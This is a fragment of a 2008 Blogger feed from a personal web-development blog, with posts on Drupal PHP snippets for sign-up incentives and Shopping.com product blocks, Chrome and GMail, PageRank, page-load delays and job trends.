scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>Hiding a form fieldset in Drupal</title><content type='html'>I am working on &lt;a href="http://www.555callme.com/"&gt;a dating site&lt;/a&gt;. Because it's a dating site, I need sign-ups for it to work. Without members, I won't get sign-ups. My idea: give the first 50 people token gift cards in exchange for signing up and taking part. But, how do I prevent hundreds of people from cashing in on this deal? Here's one way:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I have node_profile in place (AWESOME module)&lt;/li&gt;&lt;li&gt;In the "profile" content-type, I put in a field group for the Incentives&lt;/li&gt;&lt;li&gt;In the Incentives, I have two fields. One is a select dropdown&lt;/li&gt;&lt;li&gt;In the dropdown, I added the code below to the "php code" in the field administration&lt;/li&gt;&lt;li&gt;When the code fires, it looks at the user id numbers in the sequences table. If the number is below a threshold, it will return the array of values. If the number is above, it will return an effectively empty array; it will also do a drupal_add_css() to load to add css to mask (display: none) the fieldset from public view. It doesn't entirely hide it, but it does keep it out of sight from casual users.&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;br /&gt;$max = db_fetch_object(db_query("SELECT id FROM {sequences} WHERE name = 'users_uid'"));&lt;br /&gt;&lt;br /&gt;if ($max-&gt;id &lt; 1111111163) {  &lt;br /&gt; return array(&lt;br /&gt; 'Starbucks' =&gt; 'Starbucks',&lt;br /&gt; 'Serious Coffee' =&gt; 'Serious Coffee',&lt;br /&gt; 'iTunes' =&gt; 'iTunes',&lt;br /&gt; 'EB Games' =&gt; 'EB Games'&lt;br /&gt; );&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt; return array('n/a' =&gt; 'n/a');&lt;br /&gt; drupal_add_css('themes/callme/no_incentive.css');&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-740117555895535508?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/740117555895535508/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=740117555895535508' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/740117555895535508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/740117555895535508'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/11/hiding-form-fieldset-in-drupal.html' title='Hiding a form fieldset in Drupal'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-1828259060513596992</id><published>2008-11-24T07:49:00.002-08:00</published><updated>2008-11-24T10:54:14.266-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GMail'/><category scheme='http://www.blogger.com/atom/ns#' term='Chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Chrome cannot run GMail</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ekehePDB92c/SSr3afv9lNI/AAAAAAAAALY/mmkf9faG0Pk/s1600-h/chrome_gmail.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 400px; height: 268px;" src="http://3.bp.blogspot.com/_ekehePDB92c/SSr3afv9lNI/AAAAAAAAALY/mmkf9faG0Pk/s400/chrome_gmail.png" alt="" id="BLOGGER_PHOTO_ID_5272298348361913554" border="0" /&gt;&lt;/a&gt;This is terrific. A few years ago, Google launched GMail to knock Hotmail and similar services off of the top of the freebie email heap. A couple  months ago, they launched Chrome-- the Google spawned web browser. GMail has chat functions. After some recent tinkering, the chat functions do not work in Firefox. They also do not work with Google Chrome. How could the GMail people not do compatibility testing on their company's web browser? They don't even recognize or support Chrome.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-1828259060513596992?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/1828259060513596992/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=1828259060513596992' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1828259060513596992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1828259060513596992'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/11/chrome-cannot-run-gmail.html' title='Chrome cannot run GMail'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_ekehePDB92c/SSr3afv9lNI/AAAAAAAAALY/mmkf9faG0Pk/s72-c/chrome_gmail.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-9183582196190539150</id><published>2008-10-02T20:56:00.003-07:00</published><updated>2008-10-02T20:59:27.775-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Page rank'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Page Rank</title><content type='html'>Ever wonder what that &lt;a href="http://www.ds-review.com/google_pr"&gt;page rank number&lt;/a&gt; boils down to?&lt;br /&gt;&lt;br /&gt;&lt;table id="table3"  border="1" cellpadding="0" cellspacing="3" style="font-family:Verdana;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bg="" style="color: rgb(49, 99, 156);" align="center"&gt;&lt;b&gt;Page Rank&lt;/b&gt;&lt;/td&gt;     &lt;td bg="" style="color: rgb(49, 99, 156);" align="center"&gt;&lt;b&gt;Actual ranking&lt;/b&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;0&lt;/td&gt;     &lt;td align="right"&gt;Who are you? Who?&lt;br /&gt;   All sites begin here&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;1&lt;/td&gt;     &lt;td align="right"&gt;very low&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;2&lt;/td&gt;     &lt;td align="right"&gt;very low - mostly dead&lt;br /&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;3&lt;/td&gt;     &lt;td align="right"&gt;low in top 100,000,000&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;4&lt;/td&gt;     &lt;td align="right"&gt;moderate in top 10,000,000&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;5&lt;/td&gt;     &lt;td align="right"&gt;In the top 1,000,000&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;6&lt;/td&gt;     &lt;td align="right"&gt;In the top 100,000&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;7&lt;/td&gt;     &lt;td align="right"&gt;In the top 10,000&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;8&lt;/td&gt;     &lt;td align="right"&gt;In the top 1,000&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;9&lt;/td&gt;     &lt;td align="right"&gt;In the top 100&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;     &lt;td align="center"&gt;10&lt;/td&gt;     &lt;td align="right"&gt;One of the top 10 sites period!&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-9183582196190539150?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/9183582196190539150/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=9183582196190539150' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/9183582196190539150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/9183582196190539150'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/10/google-page-rank.html' title='Google Page Rank'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7759692601246345364</id><published>2008-09-28T10:42:00.003-07:00</published><updated>2008-10-08T18:55:31.435-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enquisite'/><title type='text'>Widgets Delay Page Loading</title><content type='html'>I've been working to optimize the company website. A couple years ago, we decided to use Drupal. It's a bit of a processing pig. I embarked on some ways to &lt;a href="http://www.amazon.ca/exec/obidos/ASIN/0596529309/mikedewolwrit-20/ref=nosim"&gt;improve performance&lt;/a&gt;. I will have more to share on that later-- some classic ideas, some ideas for low bandwidth users and some ideas I have come up with.&lt;br /&gt;What I found in my research: having the Enquisite logger on your pages will delay overall page load. In my experiments, I was able to half the amount of data delivered. I knocked down the page processing by limiting the number of http requests. I was able to shave 25% off of the load speed. Why only 25%? With fewer http requests and half the data transfer, this could bring about some huge changes.  Why 25%? Enquisite.&lt;br /&gt;Here are two examples of the same page-- one in the new design experiements; one in the basic design. Same content, different templating rules.&lt;br /&gt;Here is what Site-Perf.com had to say:&lt;br /&gt;Old Design performance: &lt;a href="http://www.site-perf.com/cgi-bin/show.cgi?id=sv5ult8FKXA" target="example"&gt;http://www.site-perf.com/cgi-&lt;wbr&gt;bin/show.cgi?id=sv5ult8FKXA&lt;/a&gt;&lt;br /&gt;New Design performance: &lt;a href="http://www.site-perf.com/cgi-bin/show.cgi?id=rzbq5zpVaZ_" target="example"&gt;http://www.site-perf.com/cgi-&lt;wbr&gt;bin/show.cgi?id=rzbq5zpVaZ_&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The biggest single delay: resolving the domains. Our domain resolution takes 0.54 seconds. Enquisite's resoltuon takes &lt;span style="font-weight: bold;"&gt;5.2 seconds!&lt;/span&gt;!!&lt;br /&gt;&lt;br /&gt;This means we have 5.2 seconds of guaranteed dangle time in all of our page loads-- time when the client is left wondering why the web browser wheels keep turning. Thinking that this was a fluke, I checked another site that includes Enquisite, hotel-online.com. &lt;a href="http://www.site-perf.com/cgi-bin/show.cgi?id=SWPTOfNe23w" target="example"&gt;The same thing happened there too&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This is a clear example of Heisenberg effect of observation changing outcomes. Ironically, it doesn't affect all outcomes. &lt;a href="http://www.vitp.ca/techpark-blog/post/2008/06/Times-Colonist-Reports-Equisite-Inc-gets-2432-Million-Shot-in-Arm.aspx"&gt;The most important aspect is working ideally&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7759692601246345364?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7759692601246345364/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7759692601246345364' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7759692601246345364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7759692601246345364'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/09/enquisite-enchilada.html' title='Widgets Delay Page Loading'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3646495151046626263</id><published>2008-08-21T21:51:00.010-07:00</published><updated>2008-08-21T22:03:58.400-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Shopping.com'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><category scheme='http://www.blogger.com/atom/ns#' term='Affiliate Revenue'/><title type='text'>How to do a "Related Products" block to your Drupal Site</title><content type='html'>I have been messing around with Drupal and with Shopping.com. While I know a module is coming from someone else, I am impatient. Also, a block is a nice concise chunk of functionality that doesn't pack on the weight or limitations that come with a whole module.&lt;br /&gt;&lt;div style="width: 550px; height: 450px; overflow: auto;"&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;$tids = explode(&amp;#039;,&amp;#039;,arg(2));&lt;br /&gt;foreach ($tids as $tid) {&lt;br /&gt;    $term_info = taxonomy_get_term($tid); &lt;br /&gt;    $search_items = urlencode($term_info-&amp;gt;name);&lt;br /&gt;    $items = simplexml_load_file(&amp;#039;http://publisher.api.shopping.com/publisher/3.0/rest/GeneralSearch?identity.apiKey=[API KEY]&amp;amp;tr.trackingId=[LINKIN ID]&amp;amp;nf.keyword=&amp;#039;.$search_items);&lt;br /&gt;&lt;br /&gt;if (($items) &amp;amp;&amp;amp; (strlen($search_items) &amp;gt; 1)) {&lt;br /&gt; foreach ($items-&amp;gt;categories-&amp;gt;category-&amp;gt;items-&amp;gt;offer as $item) {&lt;br /&gt;      print &amp;#039;&amp;lt;div style=&amp;quot;float: left; width: 120px; padding: 10px; overflow: auto; display: block;&amp;quot;&amp;gt;&amp;#039;;   &lt;br /&gt;      print &amp;#039;&amp;lt;a href=&amp;quot;&amp;#039;.$item-&amp;gt;offerURL.&amp;#039;&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;&amp;#039;.$item-&amp;gt;imageList-&amp;gt;image[0]-&amp;gt;sourceURL.&amp;#039;&amp;quot; width=&amp;quot;100&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;#039;;&lt;br /&gt;      print &amp;quot;&amp;lt;br/&amp;gt;&amp;quot;.l($item-&amp;gt;name, $item-&amp;gt;offerURL, array(), NULL, NULL, TRUE);&lt;br /&gt; print &amp;#039;&amp;lt;/div&amp;gt;&amp;#039;;    &lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Here is an example it in action (&lt;a href="http://www.clearyourplate.com/taxonomy/term/216"&gt;scroll to the bottom&lt;/a&gt;).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3646495151046626263?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3646495151046626263/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3646495151046626263' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3646495151046626263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3646495151046626263'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/08/how-to-do-related-products-block-to.html' title='How to do a &quot;Related Products&quot; block to your Drupal Site'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-588513722667261025</id><published>2008-08-15T23:52:00.006-07:00</published><updated>2008-08-16T00:05:41.291-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='API'/><category scheme='http://www.blogger.com/atom/ns#' term='Shopping.com'/><category scheme='http://www.blogger.com/atom/ns#' term='XML'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>Simple example of Shopping.com API for Drupal</title><content type='html'>This is a simple example of how to use the Shopping.com API on a Drupal page. There is a more and better version coming [&lt;a href="http://www.elvisblogs.org/shoppingcom-api"&gt;link&lt;/a&gt;]. But if you can't wait, here you go! I put this on an PHP enabled page: &lt;a href="http://www.churchofeee.com/product_search"&gt;http://www.churchofeee.com/product_search&lt;/a&gt;, rather than spring for .NET product that costs $250 (why-- I couldn't use it on a PHP site, and why not spend the time DIY coding it)?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&amp;lt;form action=&amp;quot;product_search&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;search&amp;quot; value=&amp;quot;&amp;lt;? echo htmlentities($_GET[&amp;#039;search&amp;#039;]); ?&amp;gt;&amp;quot;/&amp;gt;&lt;br /&gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Search&amp;quot;/&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;$search_items = urlencode($_GET[&amp;#039;search&amp;#039;]);&lt;br /&gt;// $search_items = &amp;#039;eee&amp;#039;;&lt;br /&gt;$items = simplexml_load_file(&amp;#039;http://api.shopping.com/dsp/linkin_id-8005272/keyword-&amp;#039;.$search_items);&lt;br /&gt;&lt;br /&gt;if (($items) &amp;amp;&amp;amp; (strlen($search_items) &amp;gt; 1)) {&lt;br /&gt; print &amp;quot;&amp;lt;pre&amp;gt;\n&amp;quot;;&lt;br /&gt; foreach ($items-&amp;gt;result-&amp;gt;domain-&amp;gt;{domain-listing} as $item) {&lt;br /&gt;     print l($item-&amp;gt;title, $item-&amp;gt;url).&amp;quot;&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt; }&lt;br /&gt; print &amp;#039;&amp;lt;/pre&amp;gt;&amp;#039;;&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;?&amp;gt;&lt;br /&gt;Search for products-- computers, eee pcs, sub-notebooks, and all that great stuff!&lt;br /&gt;&amp;lt;?&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-588513722667261025?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/588513722667261025/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=588513722667261025' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/588513722667261025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/588513722667261025'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/08/simple-example-of-shoppingcom-api-for.html' title='Simple example of Shopping.com API for Drupal'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4542765733304827440</id><published>2008-08-06T20:57:00.002-07:00</published><updated>2008-08-06T21:02:33.693-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='job trends'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>Web Development Job Trends</title><content type='html'>&lt;p&gt;With the need of desktop-like functionalities to support Web 2.0 applications, the web development job market is experiencing considerable changes. From increased salary incentives for emerging tech skills to the freelancing effect, we take a look at the market state.&lt;br /&gt;                                &lt;br /&gt;                                    &lt;b&gt;Salary Trends &lt;/b&gt;-The 2008 IT Salary Guide  published by Robert Half Technology lists a broad range of IT salaries based on U.S data. It reports an average of $76,250 to $108,250 for the ‘Senior Web Developer’ position, which is an increase of 6.6% over this job’s 2007 salary range. The report gets more remarkable as you drill down the different skills and their respective salary increase:&lt;/p&gt;                                     &lt;ul&gt;&lt;li&gt;Java development – 10%&lt;/li&gt;&lt;li&gt;LAMP (Linux, Apache, MySQL and PHP/Perl)                                            – 5%&lt;/li&gt;&lt;li&gt;AJAX – 5%&lt;/li&gt;&lt;li&gt;CFML development – 5%&lt;/li&gt;&lt;li&gt;Visual Basic .NET – 10%&lt;/li&gt;&lt;li&gt;C# development – 12%&lt;/li&gt;&lt;/ul&gt;                                     &lt;p&gt;Ranking the different programming languages by annual salaries based on Indeed Salary Search, C++ ranks first, followed by Python, C# and PHP and                                        ASP.NET ranked last.&lt;br /&gt;                                &lt;br /&gt;                                    &lt;b&gt;Programming Languages&lt;/b&gt; -  Here is a breakdown on the current trends since November 2006:&lt;/p&gt;                                     &lt;ul&gt;&lt;li&gt;Perl jobs decreased 40% (hah!)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Python jobs decreased 9%&lt;/li&gt;&lt;li&gt;PHP jobs increased 35%&lt;/li&gt;&lt;li&gt;Ruby jobs increased 23%&lt;/li&gt;&lt;li&gt;ASP jobs decreased 48%&lt;/li&gt;&lt;li&gt;ASP.NET jobs decreased 31% (hah, as well!)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Java jobs decreased 39%&lt;/li&gt;&lt;li&gt;AJAX jobs increased 77%&lt;/li&gt;&lt;li&gt;Ruby On Rails jobs increased 238% &lt;br /&gt;&lt;/li&gt;&lt;li&gt;Flash jobs increased 2%&lt;/li&gt;&lt;/ul&gt;                                     &lt;b&gt;Geographic Trends&lt;/b&gt; – The job market differs both in terms of programming languages and salary average in different locations. In large metropolitan areas like Boston, New York and Stamford, the salaries are higher than the national average. In UK for instance, the average salary for a senior developer would be slightly less than the US while being almost 50% less in India.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4542765733304827440?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4542765733304827440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4542765733304827440' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4542765733304827440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4542765733304827440'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/08/web-development-job-trends.html' title='Web Development Job Trends'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-5199352693823370216</id><published>2008-08-05T06:55:00.003-07:00</published><updated>2008-08-05T07:01:16.120-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='drop shipping'/><category scheme='http://www.blogger.com/atom/ns#' term='make money at home'/><title type='text'>Drop Shipping Review</title><content type='html'>Drop shipping is like China in Marco Polo's time: active, exciting and largely obscured. To help shed some light on the subject, I started &lt;a href="http://www.ds-review.com/"&gt;Drop Shipping Review (http://www.ds-review.com/)&lt;/a&gt; where people can rate and discuss drop shipping retailers, wholesalers, fulfillment services, how-tos. Unlike other sites, this information will be free to view and contribute to.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-5199352693823370216?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/5199352693823370216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=5199352693823370216' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5199352693823370216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5199352693823370216'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/08/drop-shipping-review.html' title='Drop Shipping Review'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-5756859950500116587</id><published>2008-08-01T14:00:00.001-07:00</published><updated>2008-08-01T14:02:10.943-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='login'/><category scheme='http://www.blogger.com/atom/ns#' term='Mod X'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>Drupal doesn't like you</title><content type='html'>&lt;a href="http://drupal.org/user/login/drupal+will+not+log+you+in,+because+you+are+mean"&gt;Log into Drupal&lt;/a&gt; - Go ahead: I dare ya.&lt;br /&gt;&lt;br /&gt;I think this week, I may do a deeper exploration of &lt;a href="http://modxcms.com/"&gt;Mod X&lt;/a&gt;, in case my 2002 assessment of Drupal turns out to be accurate.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-5756859950500116587?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/5756859950500116587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=5756859950500116587' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5756859950500116587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5756859950500116587'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/08/drupal-doesnt-like-you.html' title='Drupal doesn&apos;t like you'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3937765307135139866</id><published>2008-07-30T23:37:00.003-07:00</published><updated>2008-07-30T23:41:59.819-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='help wanted'/><category scheme='http://www.blogger.com/atom/ns#' term='SEO'/><title type='text'>Help.</title><content type='html'>Wanna help me write a book? I am working on a book about setting up websites. I am looking for a collaborator-- someone willing to chip into the content of the book and share in the proceeds. Here are the topics up for grabs:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chapter 9 : Getting Free Contributions&lt;br /&gt;- Contests&lt;br /&gt;- Begging&lt;br /&gt;- Love Content (a la Love Money-- but in Content Form-- content from friends and family)&lt;br /&gt;&lt;br /&gt;Chapter 10 : Getting Paid Contributions&lt;br /&gt;- How do you get paid contributions for the best rate possible&lt;br /&gt;&lt;br /&gt;Chapter 11 : The Daily Grind&lt;br /&gt;- Approving Posts&lt;br /&gt;- Cross Pollenate Your Sites Every Day&lt;br /&gt;- Uploading Contributions&lt;br /&gt;- Checking Traffic Trends&lt;br /&gt;&lt;br /&gt;By way: I am looking for recommended reading sources for SEO, PLR and other topics. I have read plenty, but I am looking for sources that I can lend credited quotes from. Anyone want some promotion?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3937765307135139866?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3937765307135139866/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3937765307135139866' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3937765307135139866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3937765307135139866'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/07/help.html' title='Help.'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image 